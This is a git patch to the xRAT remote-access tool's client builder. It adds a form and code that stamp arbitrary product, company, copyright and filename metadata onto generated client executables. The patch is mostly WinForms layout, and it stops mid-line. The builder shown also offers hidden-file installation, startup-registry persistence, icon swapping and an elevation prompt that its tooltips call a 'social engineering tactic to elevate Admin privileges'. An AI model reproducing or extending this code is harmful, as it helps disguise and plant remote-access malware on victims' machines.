From 8b4554924384dccbbac1ccddcd4d20510da6ab84 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 24 Jul 2014 15:23:44 +0200 Subject: [PATCH] Added changeable Assembly Information to Builder - Made xml settings more robust - Added ResourceLib - Changed Version displaying --- README.md | 6 +- Server/Core/Build/ClientBuilder.cs | 32 ++- Server/Forms/frmAbout.cs | 1 + Server/Forms/frmBuilder.Designer.cs | 301 +++++++++++++++++++++++----- Server/Forms/frmBuilder.cs | 70 ++++++- Server/Properties/AssemblyInfo.cs | 2 + Server/Server.csproj | 3 + Server/Settings/ProfileManager.cs | 28 ++- Server/Settings/Settings.cs | 20 +- Server/lib/Vestris.ResourceLib.dll | Bin 0 -> 77824 bytes 10 files changed, 398 insertions(+), 65 deletions(-) create mode 100644 Server/lib/Vestris.ResourceLib.dll diff --git a/README.md b/README.md index 7e06f92d..06bcb167 100644 --- a/README.md +++ b/README.md @@ -40,4 +40,8 @@ Credits --- Protocol Buffers - Google's data interchange format Copyright 2008 Google Inc. -http://code.google.com/apis/protocolbuffers/ +https://code.google.com/apis/protocolbuffers/ + +ResourceLib +Copyright (c) Daniel Doubrovkine, Vestris Inc., 2008-2013 +https://github.com/dblock/resourcelib diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index c5566c96..773b6e81 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -3,13 +3,14 @@ using Mono.Cecil.Cil; using System; using System.Windows.Forms; +using Vestris.ResourceLib; using xRAT_2.Settings; namespace Core.Build { class ClientBuilder { - public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath) + public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo) { // PHASE 1 - Settings string encKey = Helper.GetRandomName(20); @@ -32,7 +33,7 @@ public static void Build(string output, string host, string password, string ins switch (strings) { case 1: //version - methodDef.Body.Instructions[i].Operand = AES.Encrypt(Application.ProductVersion + " " + XMLSettings.VERSION, encKey); + methodDef.Body.Instructions[i].Operand = AES.Encrypt(Application.ProductVersion, encKey); break; case 2: //ip/hostname methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey); @@ -108,7 +109,32 @@ public static void Build(string output, string host, string password, string ins // PHASE 3 - Saving r.AsmDef.Write(output); - // PHASE 4 - Icon changing + // PHASE 4 - Assembly Information changing + if (asminfo != null) + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(output); + + versionResource.FileVersion = asminfo[7]; + versionResource.ProductVersion = asminfo[6]; + versionResource.Language = 0; + + StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"]; + stringFileInfo["CompanyName"] = asminfo[2]; + stringFileInfo["FileDescription"] = asminfo[1]; + stringFileInfo["ProductName"] = asminfo[0]; + stringFileInfo["LegalCopyright"] = asminfo[3]; + stringFileInfo["LegalTrademarks"] = asminfo[4]; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = asminfo[5]; + stringFileInfo["OriginalFilename"] = asminfo[5]; + + versionResource.SaveTo(output); + } + + // PHASE 5 - Icon changing if (!string.IsNullOrEmpty(iconpath)) IconInjector.InjectIcon(output, iconpath); } diff --git a/Server/Forms/frmAbout.cs b/Server/Forms/frmAbout.cs index 86e34ea3..1bde02da 100644 --- a/Server/Forms/frmAbout.cs +++ b/Server/Forms/frmAbout.cs @@ -14,6 +14,7 @@ public frmAbout() lblCredits.Text = "Credits: Banksy\n" + + " ResourceLib (Copyright (c) Daniel Doubrovkine, Vestris Inc., 2008-2013)\n" + " protobuf (Copyright 2008 Google Inc.)\n\n" + "Elevation Form Translators: Xenocode, Increment, DeadLine, Perfectionist,\n" + " Qmz_, GameFire, navaro21"; diff --git a/Server/Forms/frmBuilder.Designer.cs b/Server/Forms/frmBuilder.Designer.cs index 7c4aa3d1..d77b1c70 100644 --- a/Server/Forms/frmBuilder.Designer.cs +++ b/Server/Forms/frmBuilder.Designer.cs @@ -42,6 +42,7 @@ private void InitializeComponent() this.txtHost = new System.Windows.Forms.TextBox(); this.lblHost = new System.Windows.Forms.Label(); this.groupInstall = new System.Windows.Forms.GroupBox(); + this.chkIconChange = new System.Windows.Forms.CheckBox(); this.chkElevation = new System.Windows.Forms.CheckBox(); this.picUAC2 = new System.Windows.Forms.PictureBox(); this.picUAC1 = new System.Windows.Forms.PictureBox(); @@ -66,11 +67,29 @@ private void InitializeComponent() this.chkInstall = new System.Windows.Forms.CheckBox(); this.btnBuild = new System.Windows.Forms.Button(); this.tooltip = new System.Windows.Forms.ToolTip(this.components); - this.chkIconChange = new System.Windows.Forms.CheckBox(); + this.groupAsmInfo = new System.Windows.Forms.GroupBox(); + this.lblProductName = new System.Windows.Forms.Label(); + this.txtProductName = new System.Windows.Forms.TextBox(); + this.txtDescription = new System.Windows.Forms.TextBox(); + this.lblDescription = new System.Windows.Forms.Label(); + this.txtCompanyName = new System.Windows.Forms.TextBox(); + this.lblCompanyName = new System.Windows.Forms.Label(); + this.txtCopyright = new System.Windows.Forms.TextBox(); + this.lblCopyright = new System.Windows.Forms.Label(); + this.txtTrademarks = new System.Windows.Forms.TextBox(); + this.lblTrademarks = new System.Windows.Forms.Label(); + this.txtOriginalFilename = new System.Windows.Forms.TextBox(); + this.lblOriginalFilename = new System.Windows.Forms.Label(); + this.txtProductVersion = new System.Windows.Forms.TextBox(); + this.lblProductVersion = new System.Windows.Forms.Label(); + this.txtFileVersion = new System.Windows.Forms.TextBox(); + this.lblFileVersion = new System.Windows.Forms.Label(); + this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); this.groupConnection.SuspendLayout(); this.groupInstall.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); + this.groupAsmInfo.SuspendLayout(); this.SuspendLayout(); // // groupConnection @@ -98,7 +117,7 @@ private void InitializeComponent() this.lblMS.Location = new System.Drawing.Point(186, 126); this.lblMS.Name = "lblMS"; this.lblMS.Size = new System.Drawing.Size(21, 13); - this.lblMS.TabIndex = 11; + this.lblMS.TabIndex = 9; this.lblMS.Text = "ms"; // // txtDelay @@ -107,7 +126,7 @@ private void InitializeComponent() this.txtDelay.MaxLength = 6; this.txtDelay.Name = "txtDelay"; this.txtDelay.Size = new System.Drawing.Size(66, 22); - this.txtDelay.TabIndex = 10; + this.txtDelay.TabIndex = 8; this.txtDelay.Text = "5000"; this.txtDelay.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtDelay_KeyPress); // @@ -117,7 +136,7 @@ private void InitializeComponent() this.lblDelay.Location = new System.Drawing.Point(17, 123); this.lblDelay.Name = "lblDelay"; this.lblDelay.Size = new System.Drawing.Size(95, 13); - this.lblDelay.TabIndex = 9; + this.lblDelay.TabIndex = 7; this.lblDelay.Text = "Reconnect Delay:"; // // chkShowPass @@ -126,7 +145,7 @@ private void InitializeComponent() this.chkShowPass.Location = new System.Drawing.Point(118, 99); this.chkShowPass.Name = "chkShowPass"; this.chkShowPass.Size = new System.Drawing.Size(107, 17); - this.chkShowPass.TabIndex = 8; + this.chkShowPass.TabIndex = 6; this.chkShowPass.Text = "Show Password"; this.chkShowPass.UseVisualStyleBackColor = true; this.chkShowPass.CheckedChanged += new System.EventHandler(this.chkShowPass_CheckedChanged); @@ -137,7 +156,7 @@ private void InitializeComponent() this.txtPassword.Name = "txtPassword"; this.txtPassword.PasswordChar = '•'; this.txtPassword.Size = new System.Drawing.Size(201, 22); - this.txtPassword.TabIndex = 7; + this.txtPassword.TabIndex = 5; // // lblPassword // @@ -145,7 +164,7 @@ private void InitializeComponent() this.lblPassword.Location = new System.Drawing.Point(53, 74); this.lblPassword.Name = "lblPassword"; this.lblPassword.Size = new System.Drawing.Size(59, 13); - this.lblPassword.TabIndex = 6; + this.lblPassword.TabIndex = 4; this.lblPassword.Text = "Password:"; // // txtPort @@ -154,7 +173,7 @@ private void InitializeComponent() this.txtPort.MaxLength = 5; this.txtPort.Name = "txtPort"; this.txtPort.Size = new System.Drawing.Size(66, 22); - this.txtPort.TabIndex = 5; + this.txtPort.TabIndex = 3; this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress); // // lblPort @@ -163,7 +182,7 @@ private void InitializeComponent() this.lblPort.Location = new System.Drawing.Point(81, 46); this.lblPort.Name = "lblPort"; this.lblPort.Size = new System.Drawing.Size(31, 13); - this.lblPort.TabIndex = 4; + this.lblPort.TabIndex = 2; this.lblPort.Text = "Port:"; // // txtHost @@ -171,7 +190,7 @@ private void InitializeComponent() this.txtHost.Location = new System.Drawing.Point(118, 15); this.txtHost.Name = "txtHost"; this.txtHost.Size = new System.Drawing.Size(201, 22); - this.txtHost.TabIndex = 3; + this.txtHost.TabIndex = 1; // // lblHost // @@ -179,7 +198,7 @@ private void InitializeComponent() this.lblHost.Location = new System.Drawing.Point(37, 18); this.lblHost.Name = "lblHost"; this.lblHost.Size = new System.Drawing.Size(75, 13); - this.lblHost.TabIndex = 2; + this.lblHost.TabIndex = 0; this.lblHost.Text = "IP/Hostname:"; // // groupInstall @@ -214,13 +233,24 @@ private void InitializeComponent() this.groupInstall.TabStop = false; this.groupInstall.Text = "Install"; // + // chkIconChange + // + this.chkIconChange.AutoSize = true; + this.chkIconChange.Location = new System.Drawing.Point(118, 326); + this.chkIconChange.Name = "chkIconChange"; + this.chkIconChange.Size = new System.Drawing.Size(91, 17); + this.chkIconChange.TabIndex = 20; + this.chkIconChange.Text = "Change Icon"; + this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges."); + this.chkIconChange.UseVisualStyleBackColor = true; + // // chkElevation // this.chkElevation.AutoSize = true; this.chkElevation.Location = new System.Drawing.Point(118, 303); this.chkElevation.Name = "chkElevation"; this.chkElevation.Size = new System.Drawing.Size(147, 17); - this.chkElevation.TabIndex = 31; + this.chkElevation.TabIndex = 19; this.chkElevation.Text = "Enable Admin Elevation"; this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges."); this.chkElevation.UseVisualStyleBackColor = true; @@ -253,7 +283,7 @@ private void InitializeComponent() this.rbSystem.Location = new System.Drawing.Point(118, 141); this.rbSystem.Name = "rbSystem"; this.rbSystem.Size = new System.Drawing.Size(60, 17); - this.rbSystem.TabIndex = 22; + this.rbSystem.TabIndex = 10; this.rbSystem.TabStop = true; this.rbSystem.Text = "System"; this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System."); @@ -266,7 +296,7 @@ private void InitializeComponent() this.rbProgramFiles.Location = new System.Drawing.Point(118, 118); this.rbProgramFiles.Name = "rbProgramFiles"; this.rbProgramFiles.Size = new System.Drawing.Size(94, 17); - this.rbProgramFiles.TabIndex = 21; + this.rbProgramFiles.TabIndex = 9; this.rbProgramFiles.TabStop = true; this.rbProgramFiles.Text = "Program Files"; this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files."); @@ -278,7 +308,7 @@ private void InitializeComponent() this.txtRegistryKeyName.Location = new System.Drawing.Point(118, 275); this.txtRegistryKeyName.Name = "txtRegistryKeyName"; this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22); - this.txtRegistryKeyName.TabIndex = 30; + this.txtRegistryKeyName.TabIndex = 18; // // lblRegistryKeyName // @@ -286,7 +316,7 @@ private void InitializeComponent() this.lblRegistryKeyName.Location = new System.Drawing.Point(9, 278); this.lblRegistryKeyName.Name = "lblRegistryKeyName"; this.lblRegistryKeyName.Size = new System.Drawing.Size(103, 13); - this.lblRegistryKeyName.TabIndex = 29; + this.lblRegistryKeyName.TabIndex = 17; this.lblRegistryKeyName.Text = "Registry Key Name:"; // // chkStartup @@ -294,9 +324,9 @@ private void InitializeComponent() this.chkStartup.AutoSize = true; this.chkStartup.Location = new System.Drawing.Point(118, 252); this.chkStartup.Name = "chkStartup"; - this.chkStartup.Size = new System.Drawing.Size(101, 17); - this.chkStartup.TabIndex = 28; - this.chkStartup.Text = "Add to startup"; + this.chkStartup.Size = new System.Drawing.Size(102, 17); + this.chkStartup.TabIndex = 16; + this.chkStartup.Text = "Add to Startup"; this.chkStartup.UseVisualStyleBackColor = true; this.chkStartup.CheckedChanged += new System.EventHandler(this.chkStartup_CheckedChanged); // @@ -305,9 +335,9 @@ private void InitializeComponent() this.chkHide.AutoSize = true; this.chkHide.Location = new System.Drawing.Point(118, 229); this.chkHide.Name = "chkHide"; - this.chkHide.Size = new System.Drawing.Size(69, 17); - this.chkHide.TabIndex = 27; - this.chkHide.Text = "Hide file"; + this.chkHide.Size = new System.Drawing.Size(71, 17); + this.chkHide.TabIndex = 15; + this.chkHide.Text = "Hide File"; this.chkHide.UseVisualStyleBackColor = true; // // btnMutex @@ -316,7 +346,7 @@ private void InitializeComponent() this.btnMutex.Location = new System.Drawing.Point(244, 41); this.btnMutex.Name = "btnMutex"; this.btnMutex.Size = new System.Drawing.Size(75, 18); - this.btnMutex.TabIndex = 14; + this.btnMutex.TabIndex = 3; this.btnMutex.Text = "New Mutex"; this.btnMutex.UseVisualStyleBackColor = true; this.btnMutex.Click += new System.EventHandler(this.btnMutex_Click); @@ -327,7 +357,7 @@ private void InitializeComponent() this.lblExamplePath.Location = new System.Drawing.Point(34, 204); this.lblExamplePath.Name = "lblExamplePath"; this.lblExamplePath.Size = new System.Drawing.Size(78, 13); - this.lblExamplePath.TabIndex = 25; + this.lblExamplePath.TabIndex = 13; this.lblExamplePath.Text = "Example Path:"; // // txtExamplePath @@ -336,14 +366,14 @@ private void InitializeComponent() this.txtExamplePath.Name = "txtExamplePath"; this.txtExamplePath.ReadOnly = true; this.txtExamplePath.Size = new System.Drawing.Size(201, 22); - this.txtExamplePath.TabIndex = 26; + this.txtExamplePath.TabIndex = 14; // // txtInstallsub // this.txtInstallsub.Location = new System.Drawing.Point(118, 173); this.txtInstallsub.Name = "txtInstallsub"; this.txtInstallsub.Size = new System.Drawing.Size(201, 22); - this.txtInstallsub.TabIndex = 24; + this.txtInstallsub.TabIndex = 12; this.txtInstallsub.TextChanged += new System.EventHandler(this.txtInstallsub_TextChanged); this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress); // @@ -353,7 +383,7 @@ private void InitializeComponent() this.lblInstallsub.Location = new System.Drawing.Point(17, 176); this.lblInstallsub.Name = "lblInstallsub"; this.lblInstallsub.Size = new System.Drawing.Size(95, 13); - this.lblInstallsub.TabIndex = 23; + this.lblInstallsub.TabIndex = 11; this.lblInstallsub.Text = "Install Subfolder:"; // // lblInstallpath @@ -362,7 +392,7 @@ private void InitializeComponent() this.lblInstallpath.Location = new System.Drawing.Point(45, 97); this.lblInstallpath.Name = "lblInstallpath"; this.lblInstallpath.Size = new System.Drawing.Size(67, 13); - this.lblInstallpath.TabIndex = 19; + this.lblInstallpath.TabIndex = 7; this.lblInstallpath.Text = "Install Path:"; // // rbAppdata @@ -372,7 +402,7 @@ private void InitializeComponent() this.rbAppdata.Location = new System.Drawing.Point(118, 95); this.rbAppdata.Name = "rbAppdata"; this.rbAppdata.Size = new System.Drawing.Size(111, 17); - this.rbAppdata.TabIndex = 20; + this.rbAppdata.TabIndex = 8; this.rbAppdata.TabStop = true; this.rbAppdata.Text = "Application Data"; this.rbAppdata.UseVisualStyleBackColor = true; @@ -384,7 +414,7 @@ private void InitializeComponent() this.txtMutex.MaxLength = 64; this.txtMutex.Name = "txtMutex"; this.txtMutex.Size = new System.Drawing.Size(201, 22); - this.txtMutex.TabIndex = 13; + this.txtMutex.TabIndex = 1; // // lblMutex // @@ -392,7 +422,7 @@ private void InitializeComponent() this.lblMutex.Location = new System.Drawing.Point(74, 18); this.lblMutex.Name = "lblMutex"; this.lblMutex.Size = new System.Drawing.Size(42, 13); - this.lblMutex.TabIndex = 12; + this.lblMutex.TabIndex = 0; this.lblMutex.Text = "Mutex:"; // // lblExtension @@ -401,7 +431,7 @@ private void InitializeComponent() this.lblExtension.Location = new System.Drawing.Point(288, 71); this.lblExtension.Name = "lblExtension"; this.lblExtension.Size = new System.Drawing.Size(27, 13); - this.lblExtension.TabIndex = 18; + this.lblExtension.TabIndex = 6; this.lblExtension.Text = ".exe"; // // txtInstallname @@ -409,7 +439,7 @@ private void InitializeComponent() this.txtInstallname.Location = new System.Drawing.Point(118, 65); this.txtInstallname.Name = "txtInstallname"; this.txtInstallname.Size = new System.Drawing.Size(168, 22); - this.txtInstallname.TabIndex = 17; + this.txtInstallname.TabIndex = 5; this.txtInstallname.TextChanged += new System.EventHandler(this.txtInstallname_TextChanged); this.txtInstallname.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress); // @@ -419,7 +449,7 @@ private void InitializeComponent() this.lblInstallname.Location = new System.Drawing.Point(40, 68); this.lblInstallname.Name = "lblInstallname"; this.lblInstallname.Size = new System.Drawing.Size(73, 13); - this.lblInstallname.TabIndex = 16; + this.lblInstallname.TabIndex = 4; this.lblInstallname.Text = "Install Name:"; // // chkInstall @@ -427,9 +457,9 @@ private void InitializeComponent() this.chkInstall.AutoSize = true; this.chkInstall.Location = new System.Drawing.Point(118, 42); this.chkInstall.Name = "chkInstall"; - this.chkInstall.Size = new System.Drawing.Size(88, 17); - this.chkInstall.TabIndex = 15; - this.chkInstall.Text = "Install client"; + this.chkInstall.Size = new System.Drawing.Size(90, 17); + this.chkInstall.TabIndex = 2; + this.chkInstall.Text = "Install Client"; this.chkInstall.UseVisualStyleBackColor = true; this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged); // @@ -438,28 +468,183 @@ private void InitializeComponent() this.btnBuild.Location = new System.Drawing.Point(217, 525); this.btnBuild.Name = "btnBuild"; this.btnBuild.Size = new System.Drawing.Size(121, 23); - this.btnBuild.TabIndex = 33; + this.btnBuild.TabIndex = 3; this.btnBuild.Text = "Build client!"; this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click); // - // chkIconChange + // groupAsmInfo // - this.chkIconChange.AutoSize = true; - this.chkIconChange.Location = new System.Drawing.Point(118, 326); - this.chkIconChange.Name = "chkIconChange"; - this.chkIconChange.Size = new System.Drawing.Size(91, 17); - this.chkIconChange.TabIndex = 32; - this.chkIconChange.Text = "Change Icon"; - this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges."); - this.chkIconChange.UseVisualStyleBackColor = true; + this.groupAsmInfo.Controls.Add(this.chkChangeAsmInfo); + this.groupAsmInfo.Controls.Add(this.txtFileVersion); + this.groupAsmInfo.Controls.Add(this.lblFileVersion); + this.groupAsmInfo.Controls.Add(this.txtProductVersion); + this.groupAsmInfo.Controls.Add(this.lblProductVersion); + this.groupAsmInfo.Controls.Add(this.txtOriginalFilename); + this.groupAsmInfo.Controls.Add(this.lblOriginalFilename); + this.groupAsmInfo.Controls.Add(this.txtTrademarks); + this.groupAsmInfo.Controls.Add(this.lblTrademarks); + this.groupAsmInfo.Controls.Add(this.txtCopyright); + this.groupAsmInfo.Controls.Add(this.lblCopyright); + this.groupAsmInfo.Controls.Add(this.txtCompanyName); + this.groupAsmInfo.Controls.Add(this.lblCompanyName); + this.groupAsmInfo.Controls.Add(this.txtDescription); + this.groupAsmInfo.Controls.Add(this.lblDescription); + this.groupAsmInfo.Controls.Add(this.txtProductName); + this.groupAsmInfo.Controls.Add(this.lblProductName); + this.groupAsmInfo.Location = new System.Drawing.Point(343, 12); + this.groupAsmInfo.Name = "groupAsmInfo"; + this.groupAsmInfo.Size = new System.Drawing.Size(317, 269); + this.groupAsmInfo.TabIndex = 2; + this.groupAsmInfo.TabStop = false; + this.groupAsmInfo.Text = "Assembly Information"; + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(22, 43); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(82, 13); + this.lblProductName.TabIndex = 1; + this.lblProductName.Text = "Product Name:"; + // + // txtProductName + // + this.txtProductName.Location = new System.Drawing.Point(110, 40); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.Size = new System.Drawing.Size(201, 22); + this.txtProductName.TabIndex = 2; + // + // txtDescription + // + this.txtDescription.Location = new System.Drawing.Point(110, 68); + this.txtDescription.Name = "txtDescription"; + this.txtDescription.Size = new System.Drawing.Size(201, 22); + this.txtDescription.TabIndex = 4; + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Location = new System.Drawing.Point(35, 71); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(69, 13); + this.lblDescription.TabIndex = 3; + this.lblDescription.Text = "Description:"; + // + // txtCompanyName + // + this.txtCompanyName.Location = new System.Drawing.Point(110, 96); + this.txtCompanyName.Name = "txtCompanyName"; + this.txtCompanyName.Size = new System.Drawing.Size(201, 22); + this.txtCompanyName.TabIndex = 6; + // + // lblCompanyName + // + this.lblCompanyName.AutoSize = true; + this.lblCompanyName.Location = new System.Drawing.Point(14, 99); + this.lblCompanyName.Name = "lblCompanyName"; + this.lblCompanyName.Size = new System.Drawing.Size(90, 13); + this.lblCompanyName.TabIndex = 5; + this.lblCompanyName.Text = "Company Name:"; + // + // txtCopyright + // + this.txtCopyright.Location = new System.Drawing.Point(110, 124); + this.txtCopyright.Name = "txtCopyright"; + this.txtCopyright.Size = new System.Drawing.Size(201, 22); + this.txtCopyright.TabIndex = 8; + // + // lblCopyright + // + this.lblCopyright.AutoSize = true; + this.lblCopyright.Location = new System.Drawing.Point(43, 127); + this.lblCopyright.Name = "lblCopyright"; + this.lblCopyright.Size = new System.Drawing.Size(61, 13); + this.lblCopyright.TabIndex = 7; + this.lblCopyright.Text = "Copyright:"; + // + // txtTrademarks + // + this.txtTrademarks.Location = new System.Drawing.Point(110, 152); + this.txtTrademarks.Name = "txtTrademarks"; + this.txtTrademarks.Size = new System.Drawing.Size(201, 22); + this.txtTrademarks.TabIndex = 10; + // + // lblTrademarks + // + this.lblTrademarks.AutoSize = true; + this.lblTrademarks.Location = new System.Drawing.Point(36, 155); + this.lblTrademarks.Name = "lblTrademarks"; + this.lblTrademarks.Size = new System.Drawing.Size(68, 13); + this.lblTrademarks.TabIndex = 9; + this.lblTrademarks.Text = "Trademarks:"; + // + // txtOriginalFilename + // + this.txtOriginalFilename.Location = new System.Drawing.Point(110, 180); + this.txtOriginalFilename.Name = "txtOriginalFilename"; + this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22); + this.txtOriginalFilename.TabIndex = 12; + // + // lblOriginalFilename + // + this.lblOriginalFilename.AutoSize = true; + this.lblOriginalFilename.Location = new System.Drawing.Point(3, 183); + this.lblOriginalFilename.Name = "lblOriginalFilename"; + this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13); + this.lblOriginalFilename.TabIndex = 11; + this.lblOriginalFilename.Text = "Original Filename:"; + // + // txtProductVersion + // + this.txtProductVersion.Location = new System.Drawing.Point(110, 208); + this.txtProductVersion.Name = "txtProductVersion"; + this.txtProductVersion.Size = new System.Drawing.Size(201, 22); + this.txtProductVersion.TabIndex = 14; + // + // lblProductVersion + // + this.lblProductVersion.AutoSize = true; + this.lblProductVersion.Location = new System.Drawing.Point(12, 211); + this.lblProductVersion.Name = "lblProductVersion"; + this.lblProductVersion.Size = new System.Drawing.Size(92, 13); + this.lblProductVersion.TabIndex = 13; + this.lblProductVersion.Text = "Product Version:"; + // + // txtFileVersion + // + this.txtFileVersion.Location = new System.Drawing.Point(110, 236); + this.txtFileVersion.Name = "txtFileVersion"; + this.txtFileVersion.Size = new System.Drawing.Size(201, 22); + this.txtFileVersion.TabIndex = 16; + // + // lblFileVersion + // + this.lblFileVersion.AutoSize = true; + this.lblFileVersion.Location = new System.Drawing.Point(34, 239); + this.lblFileVersion.Name = "lblFileVersion"; + this.lblFileVersion.Size = new System.Drawing.Size(70, 13); + this.lblFileVersion.TabIndex = 15; + this.lblFileVersion.Text = "File Version:"; + // + // chkChangeAsmInfo + // + this.chkChangeAsmInfo.AutoSize = true; + this.chkChangeAsmInfo.Location = new System.Drawing.Point(110, 17); + this.chkChangeAsmInfo.Name = "chkChangeAsmInfo"; + this.chkChangeAsmInfo.Size = new System.Drawing.Size(180, 17); + this.chkChangeAsmInfo.TabIndex = 0; + this.chkChangeAsmInfo.Text = "Change Assembly Information"; + this.chkChangeAsmInfo.UseVisualStyleBackColor = true; + this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged); // // frmBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.Color.White; - this.ClientSize = new System.Drawing.Size(350, 560); + this.ClientSize = new System.Drawing.Size(673, 560); + this.Controls.Add(this.groupAsmInfo); this.Controls.Add(this.btnBuild); this.Controls.Add(this.groupInstall); this.Controls.Add(this.groupConnection); @@ -479,6 +664,8 @@ private void InitializeComponent() this.groupInstall.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); + this.groupAsmInfo.ResumeLayout(false); + this.groupAsmInfo.PerformLayout(); this.ResumeLayout(false); } @@ -522,5 +709,23 @@ private void InitializeComponent() private System.Windows.Forms.ToolTip tooltip; private System.Windows.Forms.CheckBox chkElevation; private System.Windows.Forms.CheckBox chkIconChange; + private System.Windows.Forms.GroupBox groupAsmInfo; + private System.Windows.Forms.TextBox txtDescription; + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.TextBox txtProductName; + private System.Windows.Forms.Label lblProductName; + private System.Windows.Forms.TextBox txtOriginalFilename; + private System.Windows.Forms.Label lblOriginalFilename; + private System.Windows.Forms.TextBox txtTrademarks; + private System.Windows.Forms.Label lblTrademarks; + private System.Windows.Forms.TextBox txtCopyright; + private System.Windows.Forms.Label lblCopyright; + private System.Windows.Forms.TextBox txtCompanyName; + private System.Windows.Forms.Label lblCompanyName; + private System.Windows.Forms.TextBox txtFileVersion; + private System.Windows.Forms.Label lblFileVersion; + private System.Windows.Forms.TextBox txtProductVersion; + private System.Windows.Forms.Label lblProductVersion; + private System.Windows.Forms.CheckBox chkChangeAsmInfo; } } \ No newline at end of file diff --git a/Server/Forms/frmBuilder.cs b/Server/Forms/frmBuilder.cs index 0b2e87b0..c1305bba 100644 --- a/Server/Forms/frmBuilder.cs +++ b/Server/Forms/frmBuilder.cs @@ -1,6 +1,7 @@ using Core; using Core.Build; using System; +using System.Text.RegularExpressions; using System.Windows.Forms; using xRAT_2.Settings; @@ -30,6 +31,17 @@ private void LoadProfile(string profilename) txtRegistryKeyName.Text = pm.ReadValue("RegistryName"); chkElevation.Checked = bool.Parse(pm.ReadValue("AdminElevation")); chkIconChange.Checked = bool.Parse(pm.ReadValue("ChangeIcon")); + + // new profile options - fallback for old version + chkChangeAsmInfo.Checked = bool.Parse((!string.IsNullOrEmpty(pm.ReadValue("ChangeAsmInfo"))) ? pm.ReadValue("ChangeAsmInfo") : "False"); + txtProductName.Text = pm.ReadValue("ProductName"); + txtDescription.Text = pm.ReadValue("Description"); + txtCompanyName.Text = pm.ReadValue("CompanyName"); + txtCopyright.Text = pm.ReadValue("Copyright"); + txtTrademarks.Text = pm.ReadValue("Trademarks"); + txtOriginalFilename.Text = pm.ReadValue("OriginalFilename"); + txtProductVersion.Text = pm.ReadValue("ProductVersion"); + txtFileVersion.Text = pm.ReadValue("FileVersion"); } private void SaveProfile(string profilename) @@ -49,6 +61,15 @@ private void SaveProfile(string profilename) pm.WriteValue("RegistryName", txtRegistryKeyName.Text); pm.WriteValue("AdminElevation", chkElevation.Checked.ToString()); pm.WriteValue("ChangeIcon", chkIconChange.Checked.ToString()); + pm.WriteValue("ChangeAsmInfo", chkChangeAsmInfo.Checked.ToString()); + pm.WriteValue("ProductName", txtProductName.Text); + pm.WriteValue("Description", txtDescription.Text); + pm.WriteValue("CompanyName", txtCompanyName.Text); + pm.WriteValue("Copyright", txtCopyright.Text); + pm.WriteValue("Trademarks", txtTrademarks.Text); + pm.WriteValue("OriginalFilename", txtOriginalFilename.Text); + pm.WriteValue("ProductVersion", txtProductVersion.Text); + pm.WriteValue("FileVersion", txtFileVersion.Text); } private void frmBuilder_Load(object sender, EventArgs e) @@ -70,6 +91,8 @@ private void frmBuilder_Load(object sender, EventArgs e) chkStartup.Enabled = chkInstall.Checked; txtRegistryKeyName.Enabled = (chkInstall.Checked && chkStartup.Checked); + + ToggleAsmInfoControls(); } private void frmBuilder_FormClosing(object sender, FormClosingEventArgs e) @@ -158,6 +181,11 @@ private void chkStartup_CheckedChanged(object sender, EventArgs e) txtRegistryKeyName.Enabled = chkStartup.Checked; } + private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e) + { + ToggleAsmInfoControls(); + } + private void RefreshExamplePath() { string path = string.Empty; @@ -209,7 +237,25 @@ private void btnBuild_Click(object sender, EventArgs e) { try { - ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, 